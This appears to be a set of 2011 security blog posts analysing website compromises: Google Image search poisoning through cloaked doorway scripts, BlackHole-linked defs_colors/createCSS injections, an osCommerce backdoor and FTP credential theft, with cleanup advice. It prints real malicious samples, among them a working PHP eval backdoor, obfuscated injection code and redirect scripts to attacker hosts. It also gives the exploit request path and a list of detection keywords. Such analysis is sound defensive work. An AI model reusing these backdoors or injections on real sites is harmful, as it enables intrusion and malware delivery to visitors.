It looks like Google’s anti-malware system is not yet properly configured to deal with this sort of problem. I guess that some experimental module is involved in detection of these malicious doorways so the lack of details on diagnostic pages and in the “Malware” section of Google Webmaster Tools is explainable.

Meanwile, if you see such diagnostic pages for your blacklisted sites, consider searching your server for doorway files. For example, I find [site:example.org] and [site:example.org inurl:page] Google searches very helpful to detect this problem (replace example.org with your site’s domain name).

If you wonder how hackers managed to break into your site, I can tell that I have enough evidence that they used stolen FTP credentials. So to prevent reinfections, it is important to change all passwords and refrain from saving them in FTP clients.

You can find more information on how to detect this attack and clean up your site in my previous article.

Related posts:

• Google Image Poisoning. Mitigation and the New Wave
• Thousands of Hacked Sites Seriously Poison Google Image Search Results
• Imgaaa .net And Other Blacklisted Domains Used in Google Image Search Poisoning
• 10 FTP Clients Malware Steals Credentials From
• Major Disasters in Poisoned Search Results
• Introduction to Website Parasites

[badwarebusters.org] Lately I have been seeing a huge increase in the number of hacked sites appearing on google image search results that redirect to a fake Av scanner. more »»

[Google Webmaster Help] google image search results often has multiple infected / malware sites on the first SERP page. more »»

This is a well known problem. I blogged about such SEO poisoning attacks several times here. This time I decided to check what’s behind the reported increase in malicious image search results.

The attack uses cloaking to feed keyword-rich pages with hot-linked images to search engine bots and return a malicious JavaScript that redirects to fake AV sites to visitors that come from search engines.

Here’s a screenshot of a typical Google Image search results page where I highlighted suspicious results Pink frame: the image is hot-linked, Red frame: the results is outright malicious and redirects to a fake AV site. (I wish Google had similar highlighting to warn unsuspecting searchers.)

My goal was to find out

1. how the sites were compromised and what webmasters can do to prevent such infections
2. and whether it was possible to identify all compromised sites and have Google remove hijacked search results from its index.

Imgaaa

I began with checking home pages of a few known hacked sites trying to find some common patterns. Quite soon I discovered the following code at the very bottom of most of them:

<img heigth="1" width="1" border="0" src="hxxp://imgaaa .net/t.php?id=6214178">

Some alternative variants
<img heigth="1" width="1" border="0" src="hxxp://myteenmovies .net/t.php?id=5360168">
or
<iframe heigth="1" width="1" frameborder="0" src="hxxp://curem .net/t.php?id=1517731"></iframe>
Update (May 6th, 2011) or
<img heigth="1" width="1" border="0" src="hxxp://imgddd .net/t.php?id=15433533">

The “imgaaa .net” domain didn’t resolve and the code looked suspicious so I decided to google for this imgaaa.

Quite soon I found this thread on WordPress support forum. It was the key to answering all my questions. I asked people to help with my investigation and they provided me with important internal information (e.g. .php files uploaded by hackers and some statistics). This information helped me reconstruct the whole scheme behind this attack, find thousands of infected sites and estimate the scale of the problem.

Update (May 6th, 2011): Some other domains on the same IP as imgaaa .net: imgbbb.net, imgccc .net, imgddd .net, ingeee .net.

Short description

1. Criminals use stolen FTP credentials to upload malicious .php files to compromised servers. (confirmed both by webmasters who found trojans on their computers and by hosting providers who found attack traces in FTP logs)

2. These files generate spammy web pages on-the-fly. As a keyword-rich content they use combination of top Google web search results and Image search results.

3. The generated spammy pages are interlinked to make sure Googlebot discovers them all. Moreover, they use Google’s suggested searches to generate links to new spammy pages (they will be generated on-the-fly when Googlebot follows the links). This simple scheme makes Google generate spam for its own index.

4. To have Google discover the spammy pages in the first place, criminals create blogs using free blogging services (e.g. http://blog.fc2.com/) where they post links to newly created spam-generating scripts on hacked sites.

5. Now the Google exploit in action: The combination of keywords from top Google search results for particular keywords and hot-linked images returned by Google Image search for the same keywords, makes the newly generated spammy pages appear at the top (the first page) of Google Image search results within a few days, hijacking results of sites that actually host (and usually own) the images.

This works like a charm. Exploiting this flaw, cybercriminals managed to hijack search results on the first pages of Google Image search for millions of keywords. I estimate that this trick generates at least 15 million clicks on poisoned image search results every months. (calculations and the detailed description of how this Google exploit works can be found below)

6. What makes this a security problem is what happens when people click on such hijacked search results. The rogue script detects a visitor that comes from search results and substitutes the spammy page with some malicious JavaScript (that in most cases redirects to fake AV sites).

Detailed reconstruction of the attack

Update (June 2011): After May 17th, the attack scheme has slightly changed. You can find description of the changes in the following post.

1. Uploading the PHP script.

Malicious hackers use stolen FTP login details to upload an obfuscated .php file to some directory on a server. They may upload several identical files with different names to different directories.

Here are the IP addresses that people usually find in FTP logs: 46.252.130.109 and 91.200.240.10.
Update (May 10th, 2011): Two comments mentioned one more IP: 91.200.241.200.

The .php script usually has a name that consists of either two random digits (e.g. 35.php) or three random letters (e.g. gmp.php).

The file contains about 11 Kb of an obfuscated code:

<? eval(gzuncompress(base64_decode('eNqdWNtuGkkQ/ZmVSKRVBINtZbTiAR4Yd...skipped...wV/UO/k/6QMUUQ=='))); ?>

This file is responsible for generating spammy pages, pushing malicious content and uploading additional files to a server.

2. Preparation (alcobro)

Now the uploaded script should be registered and added to a network of compromised sites. To do so hackers make a request with the ?q=alcobro parameter.

This request prepares the hacked site. It creates the following directories:

/.log
/.log/compromiseddomain.com

where compromiseddomain.com is the domain name that I will use in this post as a replacement for the actual domain names of compromised sites.

Then it creates a file called /.log/compromiseddomain.com/xmlrpc.txt and writes the following line there: “bestnetblog.net“. This file contains the domain name of the remote server where the script can request a new malicious code from.

Then it tries to create an .htaccess file with the following content

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ script-name.php?q=$1 [L]
</IfModule>

where script-name.php is the path to the uploaded .php file (e.g. /wp-admin/26.php).

These rewrite rules define “SEO-friendly” links for doorway pages. Instead of hxxp://compromiseddomain.com/wp-admin/26.php?q=search-keywords the link will read as hxxp://compromiseddomain.com/wp-admin/search-keywords/

This .htaccess file is only created if doesn’t already exist. Otherwise, ?q=search-keywords links will be used.

and finally the script contacts
hxxp://bestnetblog .net//logdomain.php?q=compromiseddomain.com to let the criminals know that the compromiseddomain.com is ready to generate doorway pages.

Alternative maintenance requests

?dom100500=<domain.com> – this request updates the content of the xmlrpc.txt file with the domain name of a malicious server that hosts fresh redirect code.

Currently they use the following domain names: love-adamcom.net, love-adambiz.net, love-adamorg.net, love-adaminfo.net – all 184.82.169.171

?up100500=<some-value> – this request turns the script into an upload form.

On one compromised site they used this functionality to upload a web shell script called avuv.php.

Processing q requests

The main function of the script is to process ?q=search-keywords requests ( or /search-keywords in case of the appropriate .htaccess rules).

The script distinguishes three different situations:

1. Request from a search engine bot (determined by the IP address ). In this case the script generates a keyword-rich page (see the algorithm below) and feeds it to the bot.
2. Visitor that clicked on a search engine result on Google, Yahoo or Bing (determined by the referrer header). In this case the script returns a malicious JavaScript.
   Note 1: the malicious JavaScript is not returned if the search query contains the “site:” operator (to hide the malicious content from site owners and tools that rely on this operator)
   Note 2: the malicious JavaScript is always returned if your browser is Opera (even if you don’t come from a search engine)
3. The rest requests are simply redirected to a homepage.

Perfect doorway generator (algorithm)

To generate a web page that can hijack image search results for a “search-keywords” query, the script does the following:

1. Get descriptions of top 50 Google web search results for “search keywords“.

2. Shuffle the words in those descriptions randomly to get some unique text.

The resulting text is not intelligible but it’s enough to exploit that Google’s flaw. Here’s an excerpt from a real spammy page that targets the “sarpagandha” keyword:

“It has been used since ages in Print e-mail ayurveda herb finder miscategorized Tablets, sarpagandha experts belongs Advice on ayurvedic medicines herbalsarpagandha Linn, family botanical name rauvolfia serpentina…”

3. Get top 20 Google Image search results for “search keywords” and extract links to image files.

4. Generate <img> tags for each extracted image link. E.g.

<img src="http://www.hijacked-site1.com/path/hot-linked-image.jpg" alt="search keywords" align="random(center, right, left)">

5. Shuffle the generated <img> tags (to change their order)

6. Break the generated in the step #2 text into sentences and mix them with the <img> tags. This will be a keyword-rich HTML code with hot-linked images for the “search keyword” query.

7. To facilitate discovery of new pages and to provide them with incoming links, each spammy page contains a section that links to 30 most recently generated doorway pages.

8. Get up to 10 suggested keyword from Google autocomplete and use them to generate links to doorway pages that target these suggested keywords. This way Google itself suggests what search keywords should be targeted. Spammers only need to come up with a few initial keyword — the rest Google will do itself.

9. At the bottom of each spammy block, there is a section of links to 6 alternative pages for the same “search keywords”. The links look like this:

<p><a href="http://compromiseddomain.com/search-keywords&page=2" title="Search Keywords">Search Keywords - Page 2</a> | ...skipped.... >Search Keywords - Page 7</a></p>

All those pages are generated the same way. The only difference is the page #2 takes image links from the second page of Google Image search results, the page #3 from the third page of image search results, and so on. The textual parts of these pages use absolutely the same words, only in a different (random) order.

10. Spammy block template. Then the algorithm concatenates all the generated parts into a single block that look like this:

<h1>SEARCH KEYWORDS</h1>
suggested links
links to 30 most recently generated links
keyword-rich text with hot-linked images
links to alternative pages

11. Spammy page template. So that this generated spammy block doesn’t look too outlandish, it is inserted in the middle of the HTML code a real homepage of the compromised site.

The HTML template is stored in the .log/compromiseddomain.com/shab100500.txt file. It’s basically the HTML code of the site’s homepage with the <REPLACEME> placeholder, that will be later replaced with a generated spammy block.

A few more important modification to this template will be made when the script generates spammy pages:

• the original <title> tag is replaced with <title>Search Keywords</title>
• and the <meta name=”googlebot” content=”noarchive”> tag is inserted — that’s why you don’t see cached copies of the pages in Google search results, which definitely makes the problem diagnostic more difficult for webmasters. (Fortunately, they can still use the “Fetch as Googlebot” tool in Google Webmaster Tools)

Caching

Once the spammy page is generated, it is saved on disk so that all subsequent requests to the same page will be served directly from cache.

The cached pages are saved in the .log/compromiseddomain.com/ directory and have the following filenames:

The first page: .log/compromiseddomain.com/search-keywords.html
Page #N : .log/compromiseddomain.com/search-keywords.htmlN where N is a number from 2 to 7

Since the spammy pages are only generated for search engine bots, the number of cache files provides us with quite an accurate number of indexed spammy pages. (It is not always possible to come up with Google search queries that return only spammy pages and at the same time all spammy pages on a particular domain.)

I’ve checked cache directories on many hacked sites. I rarely saw less that 1,000 files there. Some sites even had more than 100,000 cache files created in less than three months.

Sidenote: The spammy pages are only generated when Googlebot tries to index them. Moreover, three Google’s services are utilized in the spam generation process. Effectively, Google generates spam that poisons its index itself! What an irony!

Malicious redirects.

Let’s get back to real people who click on poisoned image search results. When the script detects a victim (visitor from Google, Yahoo or Bing) it returns some malicious code instead of the requested spammy page.

This malicious code is stored in the .log/compromiseddomain.com/iog.txt file and looks like this

var url = "hxxp://wcwrwpea .cz.cc/in.cgi?2&seoref="+encodeURIComponent(document.referrer)+"&parameter=$keyword&se=$se&ur=1&HTTP_REFERER="+encodeURIComponent(document.URL)+"&default_keyword=default";
if (window!=top) {top.location.href = url;} else document.location= url;

Note how it breaks out of the frames. Google’s Image search interstitial pages can’t stop the redirect.

This file is being updated every 30 minutes. Remember the xmlrpc.txt file that contains the address of the remote server? This is where this address is used.

Every 30 minutes the script pulls new malicious script from
hxxp://remote-server-from-xmlrpc-txt/badcompany.php?q=compromiseddomain.com/script-name.php

So far the only changes are the domain names of sites where the script redirects web surfers to. Here are just a few domains used in this attack:

oppuvjyz .cz.cc, sljngefn .cz.cc, qtmgqqxh .cz.cc, qeiskziv .cz.cc, jfdevxvo.cz.cc, zpggpimd .cz.cc, uywgxabe .cz.cc, hdmibzur .cz.cc, kjqxyxiu .cz.cc, wcwrwpea .cz.cc

These domains have a very short life time so security tools that rely on blacklists simply don’t have enough time to flag them and update their blacklists. That’s why Google’s Safe Browsing database that is used by many modern web browsers is of very little help here. Moreover Google even have hard time finding and blacklisting the malicious doorway pages on hacked sites. Less than 5% of them are currently flagged.

Note, although the doorway pages currently return malicious scripts that redirect to fake AV sites, they can easily change to any other type of JavaScript: it can be some browser exploit or a redirect some shady content (e.g. porn, pirated stuff, counterfeit drugs, gambling sites, etc).

Statistics and estimates

This scheme works extremely well for spammers. It exploits the flaw in Google Image search so well that the doorway pages inevitably make it to the first pages of image search results for almost every keyword combination that consist of at least a couple of words. Let me prove it with some numbers.

I have compiled a list of 5,000+ hacked sites (the list is incomplete) with millions of doorway pages. And I have a very long list of keywords targeted by the spammy pages. I tried to check more than a hundred of random Google Images searches from that list — for most of them (~90%) I found at least one hijacked search result on the first page. In about 50% of cases there were more than one poisoned search results within the top 20. For some keywords, poisoned search results occupied more than half positions on the first page of results. Results below top 20 were poisoned even more seriously.

And the main problem is not that cybercrooks managed to seriously poison Google Image search results but the fact that many people do click on such results results and get exposed to malicious content.

I’ve received logs from some hacked sites and can estimate the traffic Google sends to such doorway pages.

An average hacked site has ~1,000 indexed doorway pages.
There are 5,000+ hacked sites that I know of.
This gives us 5,000,000+ indexed doorway pages.
An average doorway page has 1 visitor from Google every 10 days.
So all doorway pages should have 500,000+ visits from Google every day
Or 15,000,000+ visits every month

Note, this probably is underestimation since I used numbers on the lower side.

Update (May 16th, 2011): I seem to be right about underestimation. Check this Trend Micro article and their numbers: ~ 3 million unique visitors from Google on the average day, 26+ million uniques in just the first 10 days of May (with a declining trend after May 5th, when Google started to actively blacklist doorway sites.)

And don’t forget that this is statistics of this particular SEO poisoning attack. There are currently at least a few more other similar active attacks that make things significantly worse.

Here’s a representative example: a small hacked Croatian site with PageRank 0. FTP logs showed that it had been hacked on March 18th. According to access logs, on March 19th Google started to index doorways pages. During the next 5 weeks it has indexed 27,200+ doorway pages on this site. During the same 5 weeks Google Image search has sent 140,000+ visitors to this small site. Very impressive, isn’t it?

The most efficient black hat trick ever

I would call this the most efficient and easy to implement black hat SEO trick to drive search traffic to a site. And you don’t actually need to hack someone else’s sites — you can implement this on your own site with similar results. Of course, you should be ready that someone reports your site to Google and they remove it from their index altogether, but you can still enjoy having thousands of visitors literally for free before this happens.

But don’t be late to the party! Many black hats already exploit this flaw in Google Image search. It may happen that most of Google Image search results will be hijacked and re-hijacked quite soon and normal people will simply stop using Google for image searches.

To Google

Google, I hope you hear my sarcasm. Is there any chance you’ll close this security hole?

I know, you can’t remove hot-linking sites from image search results altogether for numerous reasons (although it would definitely fix the problem), but you should consider some other steps that could mitigate the problem and you should do it ASAP!

Here are just a few ideas that come to my head:

• Give some preference to sites that actually host image files. Don’t encourage image theft.
• Improve cloaking and web spam (pages with unintelligible texts should not rank high!) detection.
• Cooperate with the anti-malware team and have them scan fresh discovered pages that hot-link more than, say, three images. (I hope that malware scanners will eventually be able to detect malicious behavior on such doorway pages)

Meanwhile, I’m sending my list of 5,000+ hacked sites to Google’s web spam team and to their webmaster trends analysts. Hope, you’ll be able to make a good use of it and remove these doorways pages from search results.

To Webmasters

To make sure your site is not abused by cybercrooks you should:

• regularly check what pages Google has indexed on your site
  • use the “site:” searches
  • check statistics in Google Webmaster Tools
• Regularly check what search keywords people use to find your site. Google Analytics won’t help here as it only tracks data for your legitimate web pages.
  • Use search data in Google Webmaster Tools
  • Regularly check raw access logs or tools that analyze access logs (e.g. Webalizer)
• Scan your server for suspicious files and directories. It’s a good idea to have some sort of integrity control or version control so that you can easily detect unauthorized changes.
• Don’t save passwords in FTP programs. Change passwords every time you find malware on your computer.
• Make sure your computer is free from malware. Use a reputable anti-virus tool and regularly update it.
• Keep your operating system, web browser and all browser plugins (e.g. Java, Flash) up-to-date. This will help minimize risk of malware infections that may result in site password theft.

If your site happens to be one of the compromised sites that host malicious doorway pages:

• Thoroughly scan your computer for malware
• Once your computer is clean, change all site passwords (even for sites that don’t seem to be compromised yet). Don’t save passwords in FTP clients – most of them can’t protect your passwords from malware. Consider using password managers (like KeePass) that encrypt all data with a master password.
• Use SFTP instead of FTP if possible.
• Now remove the doorway .php script, .htaccess file with rewrite rules if it was created, the .log/ directory and all its content.
• You should also scan your server for suspicious files that might have been uploaded to your server using the ?up100500 requests.

##

Did you ever come across Google Image search results that redirected to malicious sites? Maybe your site was a victim of a similar attack? Or maybe this flaw seriously affects your site because spammers hijack your search results in Google Image search?

Your comments and stories are welcome!

###

This post has made it to the news. You might want to read what journalists and security professionals have to say about this problem.

Related posts:

• Imgaaa .net And Other Blacklisted Domains Used in Google Image Search Poisoning
• Google Image Poisoning. What’s New in June?
• Hackers Abuse Servage Hosting to Poison Google Image Search
• 10 FTP Clients Malware Steals Credentials From
• Bety.php Hack. Part 2. Black Hats in Action.
• Major Disasters in Poisoned Search Results
• Introduction to Website Parasites

Of course, I pointed them to my blog post where I described how malware stole passwords and all the login details saved in 10 most popular FTP clients (e.g. Filezilla, CuteFTP, Total Commander, etc.). Indeed, recent malware scan revealed two suspicious items on their computer. One of them was identified as “Spyware.Passwords“. The only problem was the site owner said they didn’t use those FTP clients and kept all passwords in KeePass. Moreover, they manages 50 websites and only four of them got infected.

The answer became quite clear when they found an old copy of SmartFTP on their computer. There had been 5 FTP account (including passwords) saved there. Four of them were the four hacked sites! So what about the fifth? No doubt all five site credentials had been stolen, but the fifth site wasn’t hacked because its password had been changed after the last use of SmartFTP — so the stolen password was not valid by the moment of the hacker attack. This also explains why the rest 45 sites were not hacked — their passwords weren’t stolen.

Lesson learned

Not only should you avoid saving passwords in your current FTP client, but also make sure they are not saved in old programs that may still reside on your computer.

Related posts:

• 10 FTP Clients Malware Steals Credentials From
• Beware: FileZilla Doesn’t Protect Your Passwords
• Introduction to Website Parasites

1. Script variations.

There are different “defs_colors” script variations. The most prevalent of them begin with:

if (typeof(redef_colors)=="undefined") {...

and
if (typeof color_arr == 'undefined') {...
and
try { if (colors_picked==0) {
...
document.location="hxxp://www.pradid .com/engine/right.php";
document.location="hxxp://protectionantiv .com/index2.php?06abQDIxQUeTA2nyontjiJH+KT47NnZueQtYeXKtAV5TMMd3QC6H";
...


2. Domain names

Here are some more domains names used by this attack:

solomon-x .cz.cc,
solomon-xl .cz.cc,
globalteches .co.cc,
protectionanthilliv .com,
protectionantfarmiv .com,
protectionadamantiv .com,
thescannerantiv .com,
searchableantiv .com,
scannpartheidvir .com,
combinationsaccannantivir .com,
scanagainantivirus .com,
anti-volt-free-virusscan .com,
pradid .com,
khcol .com,
chantier .ci,
lets-tickets .co.cc,
86.55.140.0,

3. PHP injections

PHP files may be infected with both HTML variations of the “redef_colors” scripts and their obfuscated PHP versions that look like this:

<?php global $ob_starting;
if(!$ob_starting) {
function ob_start_flush($s) {
$tc = array(0, 69, 84, 82, 67,...skipped...51);
$tr = array(51, 5, 4, 3, 10, 26, 2, ...skipped...26, 2, 58);
$ob_htm = ''; foreach($tr as $tval) {
$ob_htm .= chr($tc[$tval]+32);
}
$slw=strtolower($s);
$i=strpos($slw,'</script');if($i){$i=strpos($slw,'>',$i);}
if(!$i){$i=strpos($slw,'</div');if($i){$i=strpos($slw,'>',$i);}}
if(!$i){$i=strpos($slw,'</table');if($i){$i=strpos($slw,'>',$i);}}
if(!$i){$i=strpos($slw,'</form');if($i){$i=strpos($slw,'>',$i);}}
if(!$i){$i=strpos($slw,'</p');if($i){$i=strpos($slw,'>',$i);}}
if(!$i){$i=strpos($slw,'</body');if($i){$i--;}}
if(!$i){$i=strlen($s);if($i){$i--;}}
$i++; $s=substr($s,0,$i).$ob_htm.substr($s,$i);
return $s;
}
$ob_starting = time();
@ob_start("ob_start_flush");
} ?>

4. Attack vectors

Unlike many other attacks, this one uses several different vectors. At this point I have quite reliable information about 2 of them:

1. Stolen FTP passwords.
2. Backdoor scripts uploaded using vulnerabilities in web applications.

Plus one more (not yet confirmed) vector: attacks on world-writable resources.

In this article I’ll share the information I gathered about the “backdoor” and “world-writable” scenarios.

5. osCommerce backdoor scenario.

I have analyzed access logs for a couple of hacked sites on two different servers and found similar traces of the malicious activity on both of them. This helps me reconstruct the attack step-by-step:

5.1 Vulnerability in osCommerce

To upload backdoor files, hackers use a known vulnerability in osCommerce.

In logs, it can be found if you search for POST requests to the following URL:

/admin/categories.php/admin/categories.php/login.php?cPath=&action=new_product_preview

Here’s an example of such a request:

91.211.16.126 - - [19/Mar/2011:09:34:53 -0400] "POST /admin/categories.php/login.php?action=new_product_preview HTTP/1.0" 200 13161 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13"

5.2 Backdoor file

As a result, a backdoor file with the following content appears on server:

<?php $w=showimg;if(isset($_GET[$w])){echo $w.chr(98).$w;$w=w;if(isset($_POST[$w])){$s=base64_decode(str_replace(chr(32),chr(43),$_POST[$w]));eval($s);}exit;}?>

This file can have different names on different sites and can be found in different directories.

5.3 Infection

Then, roughly once a day, hackers pass a PHP code in a POST request to this file. The code injects the malicious scripts into .html, .php and .js file in all accessible directories (even outside of /public_html).

Such request can be found in access logs if you search for php?showimg=1&cookies=1. Here are some examples:

74.220.219.113 - - [15/Mar/2011:11:06:02 -0400] "POST /password_forgotten.php?showimg=1&cookies=1 HTTP/1.0" 200 633 "http://██████████████.com/password_forgotten.php?showimg=1&cookies=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"
...
74.220.219.113 - - [19/Mar/2011:12:22:51 -0400] "POST /admin/backups/img-371076576817.php?showimg=1&showimg=1&cookies=1 HTTP/1.0" 200 790 "http://www.s█████████████.com/admin/backups/img-371076576817.php?showimg=1&showimg=1&cookies=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"
...
74.220.219.113 - - [01/Apr/2011:03:59:59 -0300] "POST /cookie_usage.php?showimg=1&cookies=1 HTTP/1.1" 200 2829 "http://www.██████████.c█/cookie_usage.php?showimg=1&cookies=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"

Note, although these three records are from three different sites on three different servers, the requests comes from the same IP address – 74.220.219.113.

Update (Apr 13th, 2011): Now they use the 98.130.0.160 IP address.

6. “World-writable” scenario

This scenario is not confirmed yet. It’s just a guess.

I talked to people who found the malicious scripts injected into world-writable files only. It’s quite strange for the FTP scenario where hackers have enough permissions to modify any files. In case of the backdoor scenario, .php files are usually executed with the file owner permission (using suExec or suPHP) so any file can be modified. Moreover, I’ve seen the malicious scripts injected into files with 644 permissions (writable for their owner only).

So why, in that single reported case, were only world-writable files infected? I have two explanations:

1. On servers that don’t use suExec or suPHP, hackers use some application security hole to upload backdoor scripts to world-writable directory. Then use it to infect other world-writable files.
2. There is a backdoor script on a compromised neighbor account on the same server. Hackers figure out absolute paths of other sites on the same server (there are many tricks to do it) and feed those paths to their infection scripts. Naturally, they can only infect world-writable files on other accounts this way.

If you have more information or just guesses, please let me know.

7. Security tips

In addition to my general advices I made a couple of weeks ago, I have some more specific tips for you:

7.1 Find and remove all backdoor scripts! If hackers still have backdoor scripts on your server the rest tips make very little sense since hackers will be able to work around them

7.2 If you use osCommerce and can’t upgrade it to the latest version for some reason (even I find their upgrade instructions too complex and confusing!), you should passwords-protect the whole /admin directory. The most prevalent osCommerce attacks use vulnerabilities in files in this directory. If you password-protect it, hackers won’t be able to access vulnerable files (of course, if they can’t guess the passwords).

7.3 Block the 74.220.219.113 and 98.130.0.160 IP addresses. Hackers use it to infect websites via backdoor files. Of course, they can easily change the IP address, but blocking it can still be a good idea. At least you don’t lose anything since this is an address of a server on the Bluehost network, so can’t be used by a normal human visitor.

Here is an example of .htaccess code that blocks this IP address

# Begin IP blocking #
Order Allow,Deny
Deny from 74.220.219.113
Deny from 98.130.0.160
Allow from all
# End IP blocking #

7.4 Make sure there are no world-writable files and directories – they are an obvious security hole.

##

If you have examples of how log analyses can reveal malicious activity, I’d be interested in in hearing your story.

Related posts:

• BlackHole: defs_colors and createCSS Injections
• Versatile .CC Attacks
• Bety.php Hack. Part 2. Black Hats in Action.
• Introduction to Website Parasites

On Safe Browsing diagnostic pages, infected sites usually mention the following domains:

Malicious software is hosted on 4 domain(s), including new-solomon .cz.cc/, newsalamandra .cz.cc/, banpox .cz.cc/.

2 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including chadon .nl/, 75.127.108 .0/.

In intermediaries, they usually include chadon .nl, corkit .co, tongho.co.th and some IP address.

On infected sites, I found various modification of a script that generally looks like this:

if (typeof(defs_colors)=="undefined") {
var defs_colors = 1;
var div_colors = new Array('#778383', '#7f493e', '#3e7277', '#70737e', '#7d3d7d',...);
var css_colors = new Array('#717e73', '#887378', '#857378', '#827f7b', '#70887d',...);
var css_indexes = new Array(4, 3, 7, 4, 6, 39, 17, 3, 4);
function div_pick_colors(t) {
...skipped...
}
check_div_styles();
}

Depending on the script revision, it injects a hidden iframe that loads malicious content from the following URLs:

hxxp://chadon .nl/ozitude/catalog/?catalogrssnews=1
hxxp://85 .128 .169 .137/webim/jquery.min.html

Locations

Usually all .html files are infected.

This scripts can be found in many different places:

• injected at the top or at the the bottom of HTML code of a web page
• injected at the bottom of legitimate .js files
• sometimes hackers create new .js files with seemingly legitimate names like jquery.js, jquery.dropdown.js, jquery_002.js, etc and inject links to those .js files into HTML code of web pages. Note, these rogue .js files can be created in several different directories and different web pages will link to different files.

Reinfections

It is not enough to remove the malicious code from legitimate files. Websites that don’t close the security hole are usually reinfected within a day or so.

Not only do hackers reinfect compromised sites but they also regularly update injected malicious code (probably to make detection more difficult).

createCSS

On one of the infected sites, I found a different type of a malicious script along with the familiar defs_colors code.

function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();...skipped...kgl=new Date(2010,11,3,2,21,4);t=kgl.getSeconds();var dkel=[420/t,408/t,160/t,400/t,444/t,396/t,468/t,436/t,...skipped...,408/t,164/t,236/t,500/t|;var aty="";var g=function(){return this;}();ko=g["e"+iu+"l"];...skipped...}setTimeout(function(){ko(ydxx);},500);

This script created a hidden iframe with the same source as the defs_colors code on the same page: hxxp://85 .128 .169 .137/webim/jquery.min.html – so both scripts belong to the same attack.

Some more iframe URLs used by the createCSS the script:

• bonuses.corkit .co/ywdngzevkw.php?n=f0203
• blog.1dollarclick .mobi/news/2007/
• porea.1poundclick .co.uk/news/2010

What else those defs_colors and createCSS have in common is the way they pretend to be legitimate scripts.

• They use quite benign function and variable names, e.g. createCSS, div_pick_colors, check_div_styles, style_node, css_indexes, etc.
• They make the encoded part of the script less prominent
  • in case of createCSS, the encoded part starts way off the screen (after around 1,000 characters of a less suspicious code)
  • in case of defs_colors, the encoded part is presented under the disguise of an array of colors and the decoder looks like a color manipulation function. I must admit, this looks quite benign and when I saw it for the first time, I didn’t even recognized this code as malicious!

Both revisions of the code have similar injection locations. However, for the createCSS (probably as a more old type) I noticed a few more interesting locations and injection patterns.

Sometimes hackers inject an external script that points to either a .js or a .php file on a different site. Sometimes both types of external scripts are injected into the same page:

<scriрt type="text/javascript" src="http://ba██████████████.pl/search.php"></scriрt>
<scriрt type="text/javascript" src="http://on████████████.com.au/swfobject.js"></scriрt>

Zombie sites

Note, the masked domain names belong to legitimate websites where hackers created those search.php and swfobject.js files that only consist of that createCSS malicious code. Moreover, those legitimate websites may in turn be infected with links to similar external scripts on other compromised legitimate sites. This scheme resembles Gumblar that also injected links to malicious scripts (with .php extension) on other hacked site. Each site could both have infected web pages and at the same time contain files that infect unrelated third-party sites (act a a zombie site).

Infection vector(s)

As we know, Gumblar used stolen FTP credentials to break into legitimate websites and infect them. This time this vector is also confirmed by hosting providers who can see traces of the injections in FTP logs of compromised sites. However, stolen passwords seem to be not the only exploited security hole, on certain sites the same scripts are reported to be injected using vulnerabilities in web applications. Well, it’s 2011 and hacker attacks become more and more versatile.

BlackHole exploit kit

This createCSS code is familiar to a security community for quite some time. I read about it on Symantec’s blog where they identified it as being injected by criminals who used the BlackHole exploit kit. According to Symantec, it was (and probably still is) the most prevalent exploit toolkit in the wild and was spreading like a wildfire.

To webmasters

Based on the information I currently have about this attack, here my recommendations to webmasters of affected sites:

1. Thoroughly scan your computers for malware.
2. Change all site passwords.
3. Don’t save passwords in FTP clients. Malicious programs know how to extract your passwords from configuration files of most popular FTP clients.
4. If your hosting supports SFTP, stop using FTP — it’s insecure. (New reality, not only malware on your computer can sniff passwords in plain-text FTP traffic but also (with proper tools) people from other computers on the same Wi-Fi network can do it.) Switch to SFTP as soon as possible. All decent FTP clients support SFTP mode so the switch will be painless for you. Do it!
5. If you use third party software on your site, make sure it is up to date and fully patched.
6. Scan your whole server (your account) for suspicious files. There may be backdoors files there. Here are some keywords to search for: “base64_decode“, “edoced_46esab“, “gzinflate“, “gzuncompress” , “eval(base64_decode“, “eval(stripslashes“, “FilesMan“.
7. If your site is blacklisted by Google, request a malware review via Google Webmaster Tools (Diagnostics -> Malware) once you’ve finished the clean up.

Update. There is some new information on this attack that includes injected PHP code, osCommerce vulnerability and backdoor files

###

If this BlackHole toolkit is really so popular this sort of hacks will not go away soon. The attack will only evolve. So let’s gather more information about it and help each other. Tell us your success story if you managed to completely clean up your site, or a disaster story if the malware keeps on returning driving you mad. Maybe you have some evidences, such as FTP logs or backdoor scripts found on your server. Maybe you know how exactly hackers steal site passwords. Any information is welcome!

Related posts:

• 10 FTP Clients Malware Steals Credentials From
• Revenge of Gumblar Zombies
• Versatile .CC Attacks
• Introduction to Website Parasites

This situation nothing new. We’ve seen similarly poisoned search results for Haitian earthquake a year ago, for the recent New Zealand’s earthquake, for last year’s floods in Pakistan, etc.

Many people use search engines to find details about breaking news such as natural disasters, catastrophes, accidents, etc. Such hardly predictable events, have literally zero relevant results before they happen, so during the first few hours after the event almost any site with relevant information have good chances to rank high on Google. This short window when competition is quite light is all cyber-criminal need to have a steady traffic to their breaking new related doorway pages. Then, when every news site and blog add their 2 cents and there are plenty resources about those hot topics, only most reputable and most relevant web pages make it to the top of search results.

I decided to check the poisoned search results and here’s what I found:

1. Compromised legitimate websites

Hackers create doorways pages on compromised legitimate websites. They have many reasons to do so. Pages on established sites usually rank better. Moreover, it’s clueless site owners who pay for domains, servers and bandwidths.

2. Cloaking

They use a black hat SEO technique called cloaking to provide search engines with one version of content (news related, stuffed with relevant keywords) and another content for web surfers who come from search engines (redirect to a malicious site). Visitors who don’t come from search engines usually see a blank page or the 404 error(page not found).

Fore example, here’s what Googlebot sees (via Google cache):

And here is what web surfers see when they click on poisoned search results:

3. JavaScript redirects

